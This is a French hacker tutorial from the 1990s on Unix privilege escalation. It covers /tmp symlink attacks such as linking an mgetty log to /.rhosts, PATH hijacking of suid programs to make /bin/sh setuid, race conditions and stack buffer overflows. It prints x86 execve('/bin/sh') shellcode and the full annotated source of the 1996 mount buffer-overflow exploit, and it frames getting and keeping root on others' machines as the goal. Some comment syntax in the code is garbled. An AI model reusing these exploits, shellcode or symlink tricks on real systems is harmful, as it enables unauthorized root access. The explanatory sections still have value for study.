Comment comprendre ce qu'on fait sur un systeme. Document attribué par imbooks 217.
posté le Sun 24 Nov par
Mikiew

 

 

Introduction aux exploits


Introduction-------------------------------------------------------------------

Ouaiiis je suis root c kewl. Reaction typique du mec moyen dans #hack qui ne
sait faire que deux choses: echanger des passwords et executer des exploits.
Oui, mais. J'ai toujours ete tres vexe par le fait d'etre arrive si tard dans
le monde du hack... Tout est actuellement protege et corrige, et il en resulte
une linearite dans le hack qui reste assez deplaisante : on se logge, on
utilise l'exploit qu'on trouve n'importe ou... Et on a un root sur une becanne.
La difference maintenant entre bon hacker et petit rigolo, c'est que le petit
rigolo se fait reprendre son root dans la semaine qui suit son acquisition,
alors que le "bon hacker" l'exploite inlassablement pendant des mois.. Puis
l'abandonne pour un autre.. Bien entendu le 'vrai bon hacker' -sic- ne fait
pas que chopper des roots a droite a gauche... =) Mais la n'est pas la
question..
Devant ce manque d'imagination assez deplorable chez la plupart des 'hackers
a la mode', je me propose d'expliquer le fonctionnement de trois types
d'exploits tres classiques dans le hack, que chacun de vous a surement deja
utilise plus d'une fois... =) Je m'attarderai surtout sur le dernier type,
le plus recent et celui qui genere exploit sur exploit en ce moment, j'ai
plus ou moins nomme le buffer overflow.

drwxrwxrwt---7-root-----root---------2048-Mar--2-12:38-/tmp/-------------------

Toute une serie d'exploits utilise le fait que /tmp est world writable.
/tmp est utilise par un grand nombre de programmes suid pour y stocker des
fichiers temporaires, fichiers qui sont souvent ecrits avec les permissions
du root... Le truc dans ce cas est assez simple: on passe par un lien symbolik.
Un lien symbolique peut etre mis par n'importe qui, et c'est une fonction unix
que beaucoup de roots regrettent encore aujourd'hui. Il permet a un user normal
de faire un lien entre un fichier du root (par exemple /.rhosts) et un fichier
determine par l'user (par exemple /tmp/.rhosts). L'interet de cette chose est
que toute modification de ce fichier par un user amenera, si l'user en a le
droit, a la modification du fichier linke... Par exemple, si l'user arrive
a ecrire dans /tmp/.rhosts, alors il modifiera /.rhosts.
L'interet de la chose est qu'on peut choisir un nom pour le fichier "image",
le lien symbolique: par exemple,

ln -s /.rhosts /tmp/.Xlock donnera au fichier /tmp/.Xlock les memes proprietes
que le fichier /.rhosts, et toute modification de /tmp/.Xlock par un process
root entrainera une modification de /.rhosts tout a fait identique.
On voit donc d'ici l'interet de l'exploit: en prevoyant qu'un process root
ecrira un fichier de nom AGAGA sur le disque a un endroit precis ou nous, user
normal, avons acces, et en sachant que l'on peut determiner ce qui va etre
place dans AGAGA, on peut modifier un fichier du root en placant un lien
symbolique de ce fichier vers AGAGA. Il suffit que le programme suid ne
verifie pas l'existence d'AGAGA avant d'ecrire dedans... Un exemple il y a
un petit bout de temps deja avec XF86 sous linux:

beigebox:/tmp> ln -s /var/adm/utmp .tX0-lock
beigebox:/tmp> startx

Fatal server error:
Server is already active for display 0
If this server is no longer running, remove /tmp/.tX0-lock
and start again.

- le fichier .tX0-lock sert de lock a XF86 et lui permet de savoir si un
server tourne deja et si oui, sous kel process.

beigebox:/tmp> cat /var/adm/utmp
116
beigebox:/tmp>

Le probleme venait du fait que XF86 verifiait uniquement si le fichier
.tX0-lock appartenait a root avant d'ecrire dedans son numero de process,
puis concluait qu'un serveur etait deja lance et abandonnait son lancement.
Du coup, il etait possible d'ecrire n'importe quoi dans n'importe quel fichier
appartenant a root en passant par ce lien...

Une autre source d'exploits bien connue passait par le fait que sur certains
systemes mal administres, le repertoire /tmp etait drxwrxwrxw, c'est a dire
que tout le monde avait la possibilite d'enlever un fichier de ce repertoire.
Un seul exemple suffira: prenons par exemple mgetty qui, sur mon systeme,
cree un fichier de log log_mg.ttyS2. Il contient des chaines d'init de modem
et donc par endroit, un "+ +". La meilleure maniere de chopper le root sur un
systeme utilisant mgetty est donc la suivante dans ce cas :

beigebox:/tmp> rm log_mg.ttyS2
rm: remove `log_mg.ttyS2, overriding mode 0644? y
beigebox:/tmp> ln -s /.rhosts log_mg.ttyS2
[attendre une arrivee de fax/appel..]
beigebox:/tmp> rsh localhost -l root
beigbeox:~# whoami
root
beigebox:~#

Le probleme du /tmp sans tiny bit (-t-), c'est qu'on peut ainsi effacer
kel fichier d'un programme suid root en cours pour le remplacer par n'importe
quoi.. De ce fait on peut facilement imaginer un exploit pour chopper le root
sur la becanne sans grand probleme... (sendmail, rdist, ...).

------execve("ls",0,0);--------------------------------------------------------

Un autre grand probleme sous unix qui a suscite grand nombre d'exploit est le
classique appel a un programme depuis un programme suid sans specifier le path
de ce dernier.. (voir doom_exploit.sh =). Dans ce cas, n'importe kel user peut
faire executer n'importe quelle commande root a ce programme suid en suivant
la methode expliquee quelques articles plus haut... C'est a dire mettre son
path sur /tmp par exemple, et creer un script executable 'ls' ou autre qui
contiendrait des commandes comme un /bin/chmod 04755 /bin/sh...

-----Qu'est-ce-qu'un-race-?----------------------------------------------------

Je ne m'etendrais pas sur ce sujet car il est tres large. Le race est, comme
son nom l'indique, une "course" contre le systeme, visant a faire effectuer a
ce dernier deux taches en meme temps par exemple, a le mettre dans une
situtation particuliere dans laquelle il est exploitable. Par exemple, sachant
que dans les crontabs du root, il se trouve un 'find *guru* -exec rm -rf {}',
le but du race serait de creer le fichier guru, puis au moment ou le find vient
de le trouver, et ou il le passe dans la variable {}, faire un symbolic link de
ce fichier guru vers un repertoire arbitraire comme /etc, ou /usr. Ceci permet
a quiconque de detruire un fichier appartenant au root sur le systeme, ce qui
n'est pas si mal que ca dans le fond... (une telle condition revient en gros
a un /tmp drwxrxwrwx). Non, je ne delire pas, une telle aberation s'est bien
trouvee dans les crontabs par defaut de la RedHat 2.x...

-----strcpy(buffer,argv[1]);---------------------------------------------------

Le plus joli des exploits. Le buffer overflow. Celui qui parait le plus propre
et efficace... Une compilation, une execution, un root et pas de traces...
Quand on compare ca a un psrace ou un mail exploit de sunos, qui, quand ils
foirent, foutent des centaines de mails au root accompagnes de core dans tous
les sens, on est plutot heureux de voir que ca a ete invente... =)
Comment ca marche ? Il faut tout d'abord que nous comprenions le principe d'un
appel de fonction... Sous linux (je prendrai cet exemple mais cela est valable
sous beaucoup d'Os..), et sur un 80386 en general, on considere trois zones de
donnees independantes: le segment de donnees, ou sont stockees des valeurs
a adresse constante lors de l'initialisation des programmes, le segment de code
ou se trouve le code meme du programme, et le segment de pile (stack en anglais)
ou sont passees des variables pour passages temporels de donnees. Nous nous
interessons ici au segment de stack. Son architecture, sur un 386, est telle
que la partie haute de la memoire ( -> FFFFFFFF) correspond au 'fond' de la
pile (SP -> 0) et que lorsqu'on ajoute des donnees dans la pile, ces donnees
sont passes en dessous dans la memoire. Les deux instructions utilisees
en majorite par la pile sont PUSH et POP. PUSH permet d'inclure une nouvelle
valeur dans la pile. POP en retire une. A tout moment, un pointeur de pile (SP)
est mis a jour et correspond a la partie la plus basse de la pile, c'est a dire
a la zone de depart du dernier element pose dans la pile. Ah oui, j'oubliais.
Une connaissance minimale de l'assembleur semble requise pour bien comprendre
ce chapitre =)... Voici un shema representant la pile sur un pc, au fur et a
mesure qu'on y entre des valeurs:

PUSH "123"

[ 123]

PUSH "ABCDEFG"

[ ABCDEFG123]

POP AX ABCD -> AX (4)

[ EFG123]

Lorsqu'on PUSH des valeurs dans la pile, elles sont donc ajoutees comme sur
le shema: SP est decremente de la valeur de cette variable, pour qu'elle aie
la place de se placer dans la pile sans "bouffer" les autres, puis la variable
est posee dans la pile a l'offset SP. Lorsqu'on POP un registre, comme AX=4b,
on retire 4 bytes de la pile et SP est incremente de 4. Nous sommes ici en
32 bits.. J'espere que le principe de la pile, "premier entre dernier sorti",
est bien compris car il est determinant pour la suite...

Lors d'un call, les variables passees a la fonction et que la fonction doit
nous renvoyer doivent etre passees de l'une a l'autre d'une maniere souple.
Nous utilisons pour cela la pile (en fait c'est le compilo qui ne nous laisse
pas le choix =). Voici un exemple de traduction de ce que je viens d'essayer
de dire d'une maniere claire et comprehensible:

function(a,b);

push b;
push a;
call __function();
pop ax;
pop bx;

Et dans ax nous avons la valeur a renvoyee par la fonction, et de meme dans
bx nous recevons la valeur b. Est-ce bien clair jusqu'ici ? Compliquons la
chose.. Lors du call de la fonction, il se passe ceci:

__function: (instructions)
(relatives a)
(la fonction)
RET
Le RET est une instruction qui va donner a notre fonction l'ordre de revenir
a l'endroit ou on l'a appele. Evidemment comme intel aime bien nous compliquer
la vie, RET va aller chercher l'adresse de retour dans la pile! Voici ce qui
se passe en realite:

Nous sommes a l'offset CS:IP. Le CS reste fixe, c'est notre segment. IP est
l'adresse memoire correspondant a l'instruction push b:

Instruction Etat de la pile

push b; [ BBBB]
push a; [ AAAABBBB]
call __function [ RRRRAAAABBBB]
fct: (instructions) [ RRRRAAAABBBB]
fct: RET [ AAAABBBB]
pop ax; [ BBBB]
pop bx; [ ]

RRRR devient l'adresse de retour du call, l'ip rendu par le RET.
Bon mais tout cela serait trop simple si il en etait ainsi =)
En realite, un pointeur de pile un peu plus evolue est utilise par le
processeur et agit en fait comme un offset sur SP, il s'agit de BP.
Donc dans ce cas, la pile contient l'adresse de retour, l'ancien SP, puis
les variables locales.
lors du call:
push bp
mov sp,bp
sub sp,(taille allouee aux valeurs locales)
On sauve l'ancien bp, SP prend sa valeur et on tient compte de la place allouee
aux valeurs locales....

lors du ret:
mov bp,sp
pop bp
On recupere notre BP, c'est SP qui determine sa position.... Ensuite le ret
prendra sa valeur dans la pile et nous retournera au CS:IP suivant l'appel.


N'allons pas compliquer les choses a ce point, attaquons tout de suite le
cote overflow de la chose... Disons maintenant que notre __function accepte
un buffer d'une taille de 16 bytes. Lors de l'initialisation de la fonction,
une place dans la pile va etre allouee a ce buffer, notee ici par des X:

call __function [XXXXXXXXXXXXXXXX RRRRAAAABBBB]

R represente l'adresse de retour de la fonction a la fin. Imaginons maintenant
que notre __function, a un moment donne, copie le buffer b dans le buffer
XXX... voici le resultat pendant l'execution de la __function:

__function [BBBBXXXXXXXXXXXX RRRRAAAABBBB]

Mais la taille de B n'est pas limitee du tout: si jamais B a une taille disons
un peu trop grosse voici ce qu'il risk de se passer:

__function [BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAABBBBBBBBBBBBBBBBBB...BB]

Le buffer XXX est largement depasse et vient mordre sur la valeur de retour
RRRR. C'est ca qu'on appelle un buffer overflow. Maintenant le principe du
buffer overflow devient plus clair: si on arrive a donner a la fin du buffer
BBBB une valeur qui pointe vers une fonction a nous, qui execute un shell,
alors au moment du RET, __function partira directement sur notre shell au
lieu de revenir vers l'adresse originale RRRR. En fait, pour les buffer
overflows "ou y'a dla place", on utilise ce qui est appele un EGG, c'est a dire
un morceau d'assembleur qui execute un shell suivi d'une grande serie d'octet
ayant pour valeur l'adresse de l'EGG: en remplissant ainsi le buffer XXX,
lors du RET, c'est le debut du buffer XXX qui est execute soit notre EGG et
donc notre SHELL. Calculer l'offset de debut de l'EGG etant assez complique,
on remplit environ la moitie de l'EGG par des NOPs (0x90,E accent grave), ce
qui permet un taux d'erreur assez appreciable: les NOPs sont des instructions
qui ne font rien justement, et si on arrive a aterrir quelque part au milieu
de ces NOPs avec notre RET modifie, alors on a gagne la partie, le shell est
a nous, et pour peu que le programme soit suid, le shell est root...
Voici un shema illustrant ce qu'il se passe: (pour plus de place on va supposer
ici qu'on ne push que la valeur B,contenant notre EGG, avant d'appeler la
fonction)

N=NOP, E=code de notre shell, A=adresse du shell, R=adresse d'origine du RET.

push b;
__function (appel de la fonction)

[XXXXXXXXXXXX RRRRNNNNNNNEEEEEEEEEEEEEEEEEEEAAAAAAAAAAAAAAAAAAAAA]
(ici, notre fonction copie B dans XXX, soit notre EGG dans XXX: c'est CA
qui va determiner l'exploit faisable ou pas)
[NNNEEEEEEEEEEEEEEEEAAAAAAAAAAAAAAAAAAAA.......]
/
Arrivee ICI ~~~~~~ , le RET nous ramene dans les N, au debut du shell.
Notre code shell est donc lance...

Voila, j'espere que cela fut plus ou moins clair... =) Si vous voulez plus de
details sur le sujet, je vous recommande vivement l'article de Aleph One dans
Phrack49 qui est tout simplement excellent, et qui explique assez bien la
chose... =) j'avoue que je suis assez mauvais en explications huh =)

En bonus, voici le contenu de l'EGG generique (c'est le code qui execute le
shell) que vous trouverez d'ailleurs en tete de tous les exploits buff overflow
sous unix...

u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

En fait, il fait appel a l'int 0x80 (\xcd\x80 qui permet d'executer un programme
lorsque ax=0xb,bx=cx=adresse de la chaine a executer), en faisant pointer bx
vers sa fin, c'est a dire ici vers /bin/sh... Comme vous pouvez le remarquer,
tout 0x00 a ete enleve de l'EGG et habilement remplace par des xor ax,ax et
d'autres astuces, car une copie de buffer s'arrete a la rencontre d'un 0x00...
Ce qu'il faut faire pour exploiter cet EGG: le mettre dans le buffer a
overflower.. trouver son adresse (__asm get esp...) et en deduire l'adresse
qu'il aura dans le programme a exploiter, (ce qui inclut donc l'existance d'un
offset), puis mettre avant lui une 50aine de NOPS (selon la taille necessaire
pour flooder le buffer, le nombre de NOPS peut varier...) et apres lui quelques
longs ayant pour valeur l'adresse du debut du buffer justement, c a dire
esp - offset, ou offset est un coup de moule total =)...
Voici le mount exploit (classique!) et son explication:

/* Mount Exploit for Linux, Jul 30 1996

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````"":::::::::
:::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ ::::::
:::::::...........:::...........:::...........::.......:......:.......::::::
:::::::::::::::::::::::::::::::::::::::::::::::;::::::::::::::::::::::::::::


Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>

#define PATH_MOUNT "/bin/umount"
/* Ca fait bien de passer par des
#define BUFFER_SIZE 1024                
Defines dans un code c =) */
#define DEFAULT_OFFSET 50

u_long get_esp()
{
__asm__("movl %esp, %eax");
/* Cette fonction retourne le SP courant.

}

main(int argc, char **argv)
{
u_char execshell[] =
/* Voici notre shellcode */
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;

int i;
int ofs = DEFAULT_OFFSET;

buff = malloc(4096);
/* On alloue 4096 bytes pour notre EGG */
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* Le pointeur ptr pointe vers ce buffer */


memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
/* On remplit le buffer
avec des NOP, en
laissant juste la place
pour le shellcode */

ptr += BUFFER_SIZE-strlen(execshell);
/* Remise du pointeur a la fin
des NOPS pour pouvoir.... */


for(i=0;i < strlen(execshell);i++) /
* Remplir la suite avec notre shellcode */
*(ptr++) = execshell[i];

addr_ptr = (long *)ptr;
/* addr_ptr prend la place de notre ptr
car il nous faut un long : l'addy
de retour contient 4 bytes */


/* Cette partie va remplir la suite de notre code avec l'adresse de retour...
On la place 3 fois a la fin du buffer...*/

for(i=0;i < (8/4);i++)
/* Ici il reste la place pour 3 words. En fait plus generiquement, il faudrait
faire quelque chose comme for(i=0;i < [fin];i+=4) */

*(addr_ptr++) = get_esp() + ofs;
/* le word pointe par addr_ptr est
rempli par l'adresse de notre egg
et addr_ptr est incremente */

ptr = (char *)addr_ptr;
*ptr = 0;
/* Le dernier char doit etre mis a 0
sinon c'est tout le reste de la RAM
qui est copie dans la buffer ! =) */


(void)alarm((u_int)0);
/* On place une limite dans le temps d'exec.. */
/* Au cas ou ca merderait.... */

printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
/* On se la pete pour etre auto-op dans #hack */
execl(PATH_MOUNT, "mount", buff, NULL);
/* On execute notre programme avec comme argument
notre EGG */

}


Les programmes dont le buffer sera exploitable sont les programmes ne
controllant pas la taille des buffers lors de dumps, par exemple les
programmes qui utilisent strcpy() au lieu de strncpy() qui est devenu une
regle d'or en matiere de programmation systeme sous unix...

J'espere que ce fichier vous donnera une autre opinion de l'exploit... Depuis
que je m'interesse a la question je ne cesse de decouvrir des bugs dans mon
linux (malheureusement la plupart etant dus a moi...=) et je passe
ma vie a faire la chasse aux suid non-deja-exploites... =) Ca devient une
vraie manie, j'y retourne j'ai un probleme avec sendmail... =]


Mikiew 714(Doc venant de imbooks 217)